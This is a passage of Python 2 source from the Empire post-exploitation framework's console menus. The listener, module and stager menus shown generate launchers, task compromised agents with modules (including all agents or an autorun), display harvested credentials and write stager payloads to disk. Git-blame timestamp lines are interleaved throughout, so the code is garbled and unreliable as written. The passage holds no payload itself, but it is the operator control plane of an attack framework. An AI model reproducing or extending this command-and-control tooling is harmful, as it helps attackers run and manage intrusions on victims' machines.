mline = line.partition(' ')[2]
2015-08-05 18:36:39 +00:00
offs = len(mline) - len(text)
2016-09-23 18:04:35 +00:00
return [s[offs:] for s in languages if s.startswith(mline)]
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
def complete_info(self, text, line, begidx, endidx):
"Tab-complete listener names/IDs"
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
# get all the listener names
names = self.mainMenu.listeners.activeListeners.keys()
2015-08-05 18:36:39 +00:00
mline = line.partition(' ')[2]
offs = len(mline) - len(text)
2016-09-23 18:04:35 +00:00
return [s[offs:] for s in names if s.startswith(mline)]
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
def complete_uselistener(self, text, line, begidx, endidx):
"Tab-complete an uselistener command"
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
names = self.mainMenu.listeners.loadedListeners.keys()
2015-08-05 18:36:39 +00:00
mline = line.partition(' ')[2]
offs = len(mline) - len(text)
2016-09-23 18:04:35 +00:00
return [s[offs:] for s in names if s.startswith(mline)]
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
class ListenerMenu(cmd.Cmd):
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
def __init__(self, mainMenu, listenerName):
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
cmd.Cmd.__init__(self)
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
self.mainMenu = mainMenu
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
if listenerName not in self.mainMenu.listeners.loadedListeners:
print helpers.color("[!] Listener '%s' not currently valid!" % (listenerName))
raise NavListeners()
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
self.doc_header = 'Listener Commands'
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
self.listener = self.mainMenu.listeners.loadedListeners[listenerName]
self.listenerName = listenerName
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
# set the text prompt
self.prompt = '(Empire: ' + helpers.color("listeners/%s" % (listenerName), 'red') + ') > '
def emptyline(self):
"""
If any empty line is entered, do nothing.
"""
pass
def do_back(self, line):
"Go back a menu."
return True
def do_agents(self, line):
"Jump to the Agents menu."
raise NavAgents()
def do_listeners(self, line):
"Jump to the listeners menu."
raise NavListeners()
def do_main(self, line):
"Go back to the main menu."
raise NavMain()
def do_exit(self, line):
"Exit Empire."
raise KeyboardInterrupt
def do_info(self, line):
"Display listener module options."
messages.display_listener_module(self.listener)
def do_execute(self, line):
"Execute the given listener module."
self.mainMenu.listeners.start_listener(self.listenerName, self.listener)
def do_launcher(self, line):
"Generate an initial launcher for this listener."
self.listenerName = self.listener.options['Name']['Value']
parts = line.strip().split()
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
if len(parts) != 1:
print helpers.color("[!] Please enter 'launcher <language>'")
return
try:
# set the listener value for the launcher
stager = self.mainMenu.stagers.stagers['multi/launcher']
stager.options['Listener']['Value'] = self.listenerName
stager.options['Language']['Value'] = parts[0]
stager.options['Base64']['Value'] = "True"
print stager.generate()
except Exception as e:
print helpers.color("[!] Error generating launcher: %s" % (e))
def do_set(self, line):
"Set a listener option."
parts = line.split()
try:
option = parts[0]
if option not in self.listener.options:
print helpers.color("[!] Invalid option specified.")
elif len(parts) == 1:
# "set OPTION"
# check if we're setting a switch
if self.listener.options[option]['Description'].startswith("Switch."):
self.listener.options[option]['Value'] = "True"
else:
print helpers.color("[!] Please specify an option value.")
else:
# otherwise "set OPTION VALUE"
option = parts[0]
value = ' '.join(parts[1:])
if value == '""' or value == "''":
value = ""
self.mainMenu.listeners.set_listener_option(self.listenerName, option, value)
except Exception as e:
print helpers.color("[!] Error in setting listener option: %s" % (e))
def do_unset(self, line):
"Unset a listener option."
option = line.split()[0]
if line.lower() == "all":
for option in self.listener.options:
self.listener.options[option]['Value'] = ''
if option not in self.listener.options:
print helpers.color("[!] Invalid option specified.")
else:
self.listener.options[option]['Value'] = ''
def complete_set(self, text, line, begidx, endidx):
"Tab-complete a listener option to set."
options = self.listener.options.keys()
if line.split(' ')[1].lower().endswith('path'):
return helpers.complete_path(text, line, arg=True)
elif line.split(' ')[1].lower().endswith('file'):
return helpers.complete_path(text, line, arg=True)
elif line.split(' ')[1].lower().endswith('host'):
return [helpers.lhost()]
elif line.split(' ')[1].lower().endswith('listener'):
listenerNames = self.mainMenu.listeners.get_listener_names()
end_line = ' '.join(line.split(' ')[1:])
mline = end_line.partition(' ')[2]
offs = len(mline) - len(text)
return [s[offs:] for s in listenerNames if s.startswith(mline)]
# otherwise we're tab-completing an option name
2015-08-05 18:36:39 +00:00
mline = line.partition(' ')[2]
offs = len(mline) - len(text)
2016-09-23 18:04:35 +00:00
return [s[offs:] for s in options if s.startswith(mline)]
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
def complete_unset(self, text, line, begidx, endidx):
"Tab-complete a module option to unset."
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
options = self.listener.options.keys()
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
mline = line.partition(' ')[2]
offs = len(mline) - len(text)
return [s[offs:] for s in options if s.startswith(mline)]
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
def complete_launcher(self, text, line, begidx, endidx):
"Tab-complete language types"
2016-09-23 18:04:35 +00:00
languages = ['powershell', 'python']
mline = line.partition(' ')[2]
offs = len(mline) - len(text)
2016-09-23 18:04:35 +00:00
return [s[offs:] for s in languages if s.startswith(mline)]
2015-08-05 18:36:39 +00:00
class ModuleMenu(cmd.Cmd):
"""
The main class used by Empire to drive the 'module' menu.
"""
2015-08-05 18:36:39 +00:00
def __init__(self, mainMenu, moduleName, agent=None):
2016-09-23 18:04:35 +00:00
2015-08-05 18:36:39 +00:00
cmd.Cmd.__init__(self)
self.doc_header = 'Module Commands'
self.mainMenu = mainMenu
2016-09-23 18:04:35 +00:00
try:
# get the current module/name
self.moduleName = moduleName
self.module = self.mainMenu.modules.modules[moduleName]
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
# set the prompt text
self.prompt = '(Empire: ' + helpers.color(self.moduleName, color="blue") + ') > '
# if this menu is being called from an agent menu
if agent and 'Agent' in self.module.options:
# resolve the agent sessionID to a name, if applicable
agent = self.mainMenu.agents.get_agent_name_db(agent)
self.module.options['Agent']['Value'] = agent
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
except Exception as e:
print helpers.color("[!] ModuleMenu() init error: %s" % (e))
2015-08-05 18:36:39 +00:00
# def preloop(self):
# traceback.print_stack()
2015-08-05 18:36:39 +00:00
def validate_options(self):
2016-09-23 18:04:35 +00:00
"Ensure all required module options are completed."
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
# ensure all 'Required=True' options are filled in
for option, values in self.module.options.iteritems():
2015-08-05 18:36:39 +00:00
if values['Required'] and ((not values['Value']) or (values['Value'] == '')):
print helpers.color("[!] Error: Required module option missing.")
return False
2016-09-23 18:04:35 +00:00
# 'Agent' is set for all but external/* modules
if 'Agent' in self.module.options:
sessionID = self.module.options['Agent']['Value']
try:
# if we're running this module for all agents, skip this validation
if sessionID.lower() != "all" and sessionID.lower() != "autorun":
moduleLangVersion = float(self.module.info['MinLanguageVersion'])
agentLangVersion = float(self.mainMenu.agents.get_language_version_db(sessionID))
# check if the agent/module PowerShell versions are compatible
if moduleLangVersion > agentLangVersion:
print helpers.color("[!] Error: module requires language version %s but agent running version %s" % (moduleLangVersion, agentPSVersion))
return False
except Exception as e:
print helpers.color("[!] Invalid module or agent language version: %s" % (e))
return False
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
# check if the module needs admin privs
if self.module.info['NeedsAdmin']:
# if we're running this module for all agents, skip this validation
if sessionID.lower() != "all" and sessionID.lower() != "autorun":
if not self.mainMenu.agents.is_agent_elevated(sessionID):
print helpers.color("[!] Error: module needs to run in an elevated context.")
return False
2015-08-05 18:36:39 +00:00
# if the module isn't opsec safe, prompt before running
2016-09-23 18:04:35 +00:00
if ('OpsecSafe' in self.module.info) and (not self.module.info['OpsecSafe']):
2015-08-05 18:36:39 +00:00
try:
choice = raw_input(helpers.color("[>] Module is not opsec safe, run? [y/N] ", "red"))
if not (choice.lower() != "" and choice.lower()[0] == "y"):
return False
except KeyboardInterrupt:
2015-08-05 18:36:39 +00:00
print ""
return False
return True
def emptyline(self):
pass
2015-08-05 18:36:39 +00:00
# print a nicely formatted help menu
# stolen/adapted from recon-ng
def print_topics(self, header, commands, cmdlen, maxcol):
if commands:
self.stdout.write("%s\n" % str(header))
2015-08-05 18:36:39 +00:00
if self.ruler:
self.stdout.write("%s\n" % str(self.ruler * len(header)))
for command in commands:
self.stdout.write("%s %s\n" % (command.ljust(17), getattr(self, 'do_' + command).__doc__))
2015-08-05 18:36:39 +00:00
self.stdout.write("\n")
2016-03-22 18:32:47 +00:00
def do_back(self, line):
"Go back a menu."
return True
2015-08-05 18:36:39 +00:00
def do_agents(self, line):
"Jump to the Agents menu."
raise NavAgents()
2015-08-05 18:36:39 +00:00
def do_listeners(self, line):
"Jump to the listeners menu."
raise NavListeners()
2015-08-05 18:36:39 +00:00
2016-03-22 18:32:47 +00:00
def do_main(self, line):
"Go back to the main menu."
raise NavMain()
2015-08-05 18:36:39 +00:00
def do_exit(self, line):
"Exit Empire."
raise KeyboardInterrupt
2015-08-05 18:36:39 +00:00
def do_list(self, line):
"Lists all active agents (or listeners)."
if line.lower().startswith("listeners"):
2016-09-23 18:04:35 +00:00
self.mainMenu.do_list("listeners " + str(' '.join(line.split(' ')[1:])))
elif line.lower().startswith("agents"):
2016-09-23 18:04:35 +00:00
self.mainMenu.do_list("agents " + str(' '.join(line.split(' ')[1:])))
else:
print helpers.color("[!] Please use 'list [agents/listeners] <modifier>'.")
2015-08-05 18:36:39 +00:00
def do_reload(self, line):
"Reload the current module."
print "\n" + helpers.color("[*] Reloading module") + "\n"
# reload the specific module
self.mainMenu.modules.reload_module(self.moduleName)
# regrab the reference
self.module = self.mainMenu.modules.modules[self.moduleName]
def do_info(self, line):
"Display module options."
messages.display_module(self.moduleName, self.module)
def do_options(self, line):
"Display module options."
messages.display_module(self.moduleName, self.module)
def do_set(self, line):
"Set a module option."
2015-08-05 18:36:39 +00:00
parts = line.split()
try:
option = parts[0]
if option not in self.module.options:
print helpers.color("[!] Invalid option specified.")
2015-08-05 18:36:39 +00:00
elif len(parts) == 1:
2015-08-05 18:36:39 +00:00
# "set OPTION"
# check if we're setting a switch
if self.module.options[option]['Description'].startswith("Switch."):
self.module.options[option]['Value'] = "True"
else:
print helpers.color("[!] Please specify an option value.")
else:
# otherwise "set OPTION VALUE"
option = parts[0]
2016-09-23 18:04:35 +00:00
value = ' '.join(parts[1:])
if value == '""' or value == "''":
value = ""
2015-08-05 18:36:39 +00:00
self.module.options[option]['Value'] = value
except:
print helpers.color("[!] Error in setting option, likely invalid option name.")
def do_unset(self, line):
"Unset a module option."
option = line.split()[0]
if line.lower() == "all":
for option in self.module.options:
self.module.options[option]['Value'] = ''
if option not in self.module.options:
print helpers.color("[!] Invalid option specified.")
else:
self.module.options[option]['Value'] = ''
def do_usemodule(self, line):
"Use an Empire PowerShell module."
module = line.strip()
if module not in self.mainMenu.modules.modules:
print helpers.color("[!] Error: invalid module")
else:
module_menu = ModuleMenu(self.mainMenu, line, agent=self.module.options['Agent']['Value'])
module_menu.cmdloop()
2015-08-05 18:36:39 +00:00
def do_creds(self, line):
"Display/return credentials from the database."
self.mainMenu.do_creds(line)
def do_execute(self, line):
"Execute the given Empire module."
if not self.validate_options():
return
2016-09-23 18:04:35 +00:00
if self.moduleName.lower().startswith('external/'):
# externa/* modules don't include an agent specification, and only have
# an execute() method'
self.module.execute()
else:
agentName = self.module.options['Agent']['Value']
moduleData = self.module.generate()
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
if not moduleData or moduleData == "":
print helpers.color("[!] Error: module produced an empty script")
dispatcher.send("[!] Error: module produced an empty script", sender="Empire")
return
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
try:
moduleData.decode('ascii')
except UnicodeDecodeError:
print helpers.color("[!] Error: module source contains non-ascii characters")
return
2016-09-23 18:04:35 +00:00
# strip all comments from the module
moduleData = helpers.strip_powershell_comments(moduleData)
taskCommand = ""
# build the appropriate task command and module data blob
if str(self.module.info['Background']).lower() == "true":
# if this module should be run in the background
extention = self.module.info['OutputExtension']
if extention and extention != "":
# if this module needs to save its file output to the server
# format- [15 chars of prefix][5 chars extension][data]
saveFilePrefix = self.moduleName.split("/")[-1]
moduleData = saveFilePrefix.rjust(15) + extention.rjust(5) + moduleData
taskCommand = "TASK_CMD_JOB_SAVE"
else:
taskCommand = "TASK_CMD_JOB"
2015-08-05 18:36:39 +00:00
else:
2016-09-23 18:04:35 +00:00
# if this module is run in the foreground
extention = self.module.info['OutputExtension']
if self.module.info['OutputExtension'] and self.module.info['OutputExtension'] != "":
# if this module needs to save its file output to the server
# format- [15 chars of prefix][5 chars extension][data]
saveFilePrefix = self.moduleName.split("/")[-1][:15]
moduleData = saveFilePrefix.rjust(15) + extention.rjust(5) + moduleData
taskCommand = "TASK_CMD_WAIT_SAVE"
else:
taskCommand = "TASK_CMD_WAIT"
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
# if we're running the module on all modules
if agentName.lower() == "all":
try:
choice = raw_input(helpers.color("[>] Run module on all agents? [y/N] ", "red"))
if choice.lower() != "" and choice.lower()[0] == "y":
2016-09-23 18:04:35 +00:00
# signal everyone with what we're doing
print helpers.color("[*] Tasking all agents to run " + self.moduleName)
dispatcher.send("[*] Tasking all agents to run " + self.moduleName, sender="Empire")
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
# actually task the agents
for agent in self.mainMenu.agents.get_agents_db():
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
sessionID = agent['session_id']
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
# set the agent's tasking in the cache
self.mainMenu.agents.add_agent_task_db(sessionID, taskCommand, moduleData)
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
# update the agent log
# dispatcher.send("[*] Tasked agent "+sessionID+" to run module " + self.moduleName, sender="Empire")
dispatcher.send("[*] Tasked agent %s to run module %s" % (sessionID, self.moduleName), sender="Empire")
msg = "Tasked agent to run module %s" % (self.moduleName)
self.mainMenu.agents.save_agent_log(sessionID, msg)
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
except KeyboardInterrupt:
print ""
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
# set the script to be the global autorun
elif agentName.lower() == "autorun":
2016-10-06 18:32:33 +00:00
self.mainMenu.agents.set_autoruns_db(taskCommand, moduleData)
2016-09-23 18:04:35 +00:00
dispatcher.send("[*] Set module %s to be global script autorun." % (self.moduleName), sender="Empire")
2015-08-05 18:36:39 +00:00
else:
2016-09-23 18:04:35 +00:00
if not self.mainMenu.agents.is_agent_present(agentName):
print helpers.color("[!] Invalid agent name.")
else:
# set the agent's tasking in the cache
self.mainMenu.agents.add_agent_task_db(agentName, taskCommand, moduleData)
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
# update the agent log
dispatcher.send("[*] Tasked agent %s to run module %s" % (agentName, self.moduleName), sender="Empire")
msg = "Tasked agent to run module %s" % (self.moduleName)
self.mainMenu.agents.save_agent_log(agentName, msg)
2015-08-05 18:36:39 +00:00
2015-08-20 22:49:23 +00:00
def do_run(self, line):
"Execute the given Empire module."
self.do_execute(line)
def do_interact(self, line):
"Interact with a particular agent."
name = line.strip()
if name != "" and self.mainMenu.agents.is_agent_present(name):
# resolve the passed name to a sessionID
2016-09-23 18:04:35 +00:00
sessionID = self.mainMenu.agents.get_agent_id_db(name)
agent_menu = AgentMenu(self.mainMenu, sessionID)
else:
print helpers.color("[!] Please enter a valid agent name")
2015-08-05 18:36:39 +00:00
def complete_set(self, text, line, begidx, endidx):
"Tab-complete a module option to set."
options = self.module.options.keys()
2016-09-23 18:04:35 +00:00
if line.split(' ')[1].lower() == "agent":
2015-08-05 18:36:39 +00:00
# if we're tab-completing "agent", return the agent names
2016-09-23 18:04:35 +00:00
agentNames = self.mainMenu.agents.get_agent_names_db() + ["all", "autorun"]
end_line = ' '.join(line.split(' ')[1:])
mline = end_line.partition(' ')[2]
2015-08-05 18:36:39 +00:00
offs = len(mline) - len(text)
return [s[offs:] for s in agentNames if s.startswith(mline)]
2016-09-23 18:04:35 +00:00
elif line.split(' ')[1].lower() == "listener":
2015-08-05 18:36:39 +00:00
# if we're tab-completing a listener name, return all the names
listenerNames = self.mainMenu.listeners.get_listener_names()
2016-09-23 18:04:35 +00:00
end_line = ' '.join(line.split(' ')[1:])
mline = end_line.partition(' ')[2]
2015-08-05 18:36:39 +00:00
offs = len(mline) - len(text)
return [s[offs:] for s in listenerNames if s.startswith(mline)]
2016-09-23 18:04:35 +00:00
elif line.split(' ')[1].lower().endswith("path"):
return helpers.complete_path(text, line, arg=True)
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
elif line.split(' ')[1].lower().endswith("file"):
return helpers.complete_path(text, line, arg=True)
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
elif line.split(' ')[1].lower().endswith("host"):
2015-08-05 18:36:39 +00:00
return [helpers.lhost()]
2016-09-23 18:04:35 +00:00
elif line.split(' ')[1].lower().endswith("language"):
languages = ['powershell', 'python']
end_line = ' '.join(line.split(' ')[1:])
mline = end_line.partition(' ')[2]
offs = len(mline) - len(text)
return [s[offs:] for s in languages if s.startswith(mline)]
2015-08-05 18:36:39 +00:00
# otherwise we're tab-completing an option name
mline = line.partition(' ')[2]
offs = len(mline) - len(text)
return [s[offs:] for s in options if s.startswith(mline)]
def complete_unset(self, text, line, begidx, endidx):
"Tab-complete a module option to unset."
options = self.module.options.keys() + ["all"]
mline = line.partition(' ')[2]
offs = len(mline) - len(text)
return [s[offs:] for s in options if s.startswith(mline)]
def complete_usemodule(self, text, line, begidx, endidx):
"Tab-complete an Empire PowerShell module path."
return self.mainMenu.complete_usemodule(text, line, begidx, endidx)
def complete_creds(self, text, line, begidx, endidx):
"Tab-complete 'creds' commands."
return self.mainMenu.complete_creds(text, line, begidx, endidx)
def complete_interact(self, text, line, begidx, endidx):
"Tab-complete an interact command"
2016-09-23 18:04:35 +00:00
names = self.mainMenu.agents.get_agent_names_db()
mline = line.partition(' ')[2]
offs = len(mline) - len(text)
return [s[offs:] for s in names if s.startswith(mline)]
2015-08-05 18:36:39 +00:00
class StagerMenu(cmd.Cmd):
"""
The main class used by Empire to drive the 'stager' menu.
"""
2015-08-05 18:36:39 +00:00
def __init__(self, mainMenu, stagerName, listener=None):
cmd.Cmd.__init__(self)
self.doc_header = 'Stager Menu'
self.mainMenu = mainMenu
# get the current stager name
self.stagerName = stagerName
self.stager = self.mainMenu.stagers.stagers[stagerName]
# set the prompt text
self.prompt = '(Empire: ' + helpers.color("stager/" + self.stagerName, color="blue") + ') > '
2015-08-05 18:36:39 +00:00
# if this menu is being called from an listener menu
if listener:
# resolve the listener ID to a name, if applicable
listener = self.mainMenu.listeners.get_listener(listener)
self.stager.options['Listener']['Value'] = listener
def validate_options(self):
"Make sure all required stager options are completed."
for option, values in self.stager.options.iteritems():
2015-08-05 18:36:39 +00:00
if values['Required'] and ((not values['Value']) or (values['Value'] == '')):
print helpers.color("[!] Error: Required stager option missing.")
return False
listenerName = self.stager.options['Listener']['Value']
if not self.mainMenu.listeners.is_listener_valid(listenerName):
2015-08-05 18:36:39 +00:00
print helpers.color("[!] Invalid listener ID or name.")
return False
return True
def emptyline(self):
pass
2015-08-05 18:36:39 +00:00
# print a nicely formatted help menu
# stolen/adapted from recon-ng
def print_topics(self, header, commands, cmdlen, maxcol):
if commands:
self.stdout.write("%s\n" % str(header))
2015-08-05 18:36:39 +00:00
if self.ruler:
self.stdout.write("%s\n" % str(self.ruler * len(header)))
for command in commands:
self.stdout.write("%s %s\n" % (command.ljust(17), getattr(self, 'do_' + command).__doc__))
2015-08-05 18:36:39 +00:00
self.stdout.write("\n")
2016-03-22 18:32:47 +00:00
def do_back(self, line):
"Go back a menu."
return True
def do_agents(self, line):
"Jump to the Agents menu."
raise NavAgents()
def do_listeners(self, line):
"Jump to the listeners menu."
raise NavListeners()
2015-08-05 18:36:39 +00:00
def do_main(self, line):
2016-03-22 18:32:47 +00:00
"Go back to the main menu."
raise NavMain()
def do_exit(self, line):
"Exit Empire."
raise KeyboardInterrupt
2015-08-05 18:36:39 +00:00
def do_list(self, line):
"Lists all active agents (or listeners)."
if line.lower().startswith("listeners"):
2016-09-23 18:04:35 +00:00
self.mainMenu.do_list("listeners " + str(' '.join(line.split(' ')[1:])))
elif line.lower().startswith("agents"):
2016-09-23 18:04:35 +00:00
self.mainMenu.do_list("agents " + str(' '.join(line.split(' ')[1:])))
else:
print helpers.color("[!] Please use 'list [agents/listeners] <modifier>'.")
2015-08-05 18:36:39 +00:00
def do_info(self, line):
"Display stager options."
messages.display_stager(self.stager)
2015-08-05 18:36:39 +00:00
def do_options(self, line):
"Display stager options."
messages.display_stager(self.stager)
2015-08-05 18:36:39 +00:00
def do_set(self, line):
"Set a stager option."
2015-08-05 18:36:39 +00:00
parts = line.split()
try:
option = parts[0]
if option not in self.stager.options:
print helpers.color("[!] Invalid option specified.")
2015-08-05 18:36:39 +00:00
elif len(parts) == 1:
2015-08-05 18:36:39 +00:00
# "set OPTION"
# check if we're setting a switch
if self.stager.options[option]['Description'].startswith("Switch."):
self.stager.options[option]['Value'] = "True"
else:
print helpers.color("[!] Please specify an option value.")
else:
# otherwise "set OPTION VALUE"
option = parts[0]
2016-09-23 18:04:35 +00:00
value = ' '.join(parts[1:])
if value == '""' or value == "''":
value = ""
2015-08-05 18:36:39 +00:00
self.stager.options[option]['Value'] = value
except:
print helpers.color("[!] Error in setting option, likely invalid option name.")
def do_unset(self, line):
"Unset a stager option."
option = line.split()[0]
if line.lower() == "all":
for option in self.stager.options:
self.stager.options[option]['Value'] = ''
if option not in self.stager.options:
print helpers.color("[!] Invalid option specified.")
else:
self.stager.options[option]['Value'] = ''
def do_generate(self, line):
"Generate/execute the given Empire stager."
if not self.validate_options():
return
stagerOutput = self.stager.generate()
savePath = ''
if 'OutFile' in self.stager.options:
savePath = self.stager.options['OutFile']['Value']
if savePath != '':
# make the base directory if it doesn't exist
if not os.path.exists(os.path.dirname(savePath)) and os.path.dirname(savePath) != '':
os.makedirs(os.path.dirname(savePath))
# if we need to write binary output for a .dll
if ".dll" in savePath:
out_file = open(savePath, 'wb')
out_file.write(bytearray(stagerOutput))
out_file.close()
2015-08-05 18:36:39 +00:00
else:
# otherwise normal output
out_file = open(savePath, 'w')
out_file.write(stagerOutput)
out_file.close()
2015-08-05 18:36:39 +00:00
# if this is a bash script, make it executable
if ".sh" in savePath:
os.chmod(savePath, 777)
print "\n" + helpers.color("[*] Stager output written out to: %s\n" % (savePath))
2015-08-05 18:36:39 +00:00
else:
print stagerOutput
def do_execute(self, line):
"Generate/execute the given Empire stager."
self.do_generate(line)
def do_interact(self, line):
"Interact with a particular agent."
name = line.strip()
if name != "" and self.mainMenu.agents.is_agent_present(name):
# resolve the passed name to a sessionID
2016-09-23 18:04:35 +00:00
sessionID = self.mainMenu.agents.get_agent_id_db(name)
agent_menu = AgentMenu(self.mainMenu, sessionID)
else:
print helpers.color("[!] Please enter a valid agent name")
2015-08-05 18:36:39 +00:00
def complete_set(self, text, line, begidx, endidx):
"Tab-complete a stager option to set."
options = self.stager.options.keys()
2016-09-23 18:04:35 +00:00
if line.split(' ')[1].lower() == "listener":
2015-08-05 18:36:39 +00:00
# if we're tab-completing a listener name, return all the names
listenerNames = self.mainMenu.listeners.get_listener_names()
2016-09-23 18:04:35 +00:00
end_line = ' '.join(line.split(' ')[1:])
2015-08-05 18:36:39 +00:00
mline = end_line.partition(' ')[2]
2015-08-05 18:36:39 +00:00
offs = len(mline) - len(text)
return [s[offs:] for s in listenerNames if s.startswith(mline)]
2016-09-23 18:04:35 +00:00
elif line.split(' ')[1].lower().endswith("language"):
languages = ['powershell', 'python']
end_line = ' '.join(line.split(' ')[1:])
mline = end_line.partition(' ')[2]
offs = len(mline) - len(text)
return [s[offs:] for s in languages if s.startswith(mline)]
2015-08-05 18:36:39 +00:00
2016-09-23 18:04:35 +00:00
elif line.split(' ')[1].lower().endswith("path"):
2015-08-05 18:36:39 +00:00
# tab-complete any stager option that ends with 'path'
return helpers.complete_path(text, line, arg=True)
2015-08-05 18:36:39 +00:00
# otherwise we're tab-completing an option name
mline = line.partition(' ')[2]
offs = len(mline) - len(text)
return [s[offs:] for s in options if s.startswith(mline)]
def complete_unset(self, text, line, begidx, endidx):
"Tab-complete a stager option to unset."
options = self.stager.options.keys() + ["all"]
mline = line.partition(' ')[2]
offs = len(mline) - len(text)
return [s[offs:] for s in options if s.startswith(mline)]
def complete_interact(self, text, line, begidx, endidx):
"Tab-complete an interact command"
2016-09-23 18:04:35 +00:00
names = self.mainMenu.agents.get_agent_names_db()
mline = line.partition(' ')[2]
offs = len(mline) - len(text)
return [s[offs:] for s in names if s.startswith(mline)]